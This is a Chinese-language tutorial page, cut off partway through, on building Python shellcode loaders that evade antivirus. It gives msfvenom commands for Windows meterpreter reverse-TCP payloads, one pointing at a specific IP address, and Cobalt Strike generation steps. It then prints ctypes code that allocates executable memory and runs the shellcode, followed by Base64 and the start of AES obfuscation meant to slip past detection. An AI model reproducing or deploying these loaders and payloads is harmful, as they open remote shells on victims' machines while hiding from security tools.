您现在的位置是:首页 >技术教程 >Python-shellcode免杀分离网站首页技术教程
Python-shellcode免杀分离
简介Python-shellcode免杀分离
#Python-原生态-MSF&CS&生成&执行代码
MSF-payload:msfvenom -p windows/meterpreter/reverse_tcp lhost=X.X.X.X lport=6688 -f c
CS-payload:
攻击--生成后门--payload生成器--选择监听器和输出格式为C语言
python 3.10-32位,注意python解释器一定要切换为32位
import ctypes
shellcode=b""
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
将shellcode填入,run即可上线,payload均为32位
#Python-混淆加密-Base64&AES&反序列化等
python 3.10-32位,注意python解释器一定要切换为32位
BASE64加密
import base64
shellcode=b""
shellcode=base64.b64encode(shellcode)
shellcode=base64.b64decode(shellcode)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
AES+Base64免杀
python脚本加密,发布版进行解密
采用base64加密的MSFpayload:
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=43.143.231.203 lport=6699 -f c
1、加密代码
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import ctypes,base64
# 如果text不足16位的倍数就用空格补足为16位
def add_to_16(text):
if len(text.encode('utf-8')) % 16:
add = 16 - (len(text.encode('utf-8')) % 16)
else:
add = 0
text = text + ('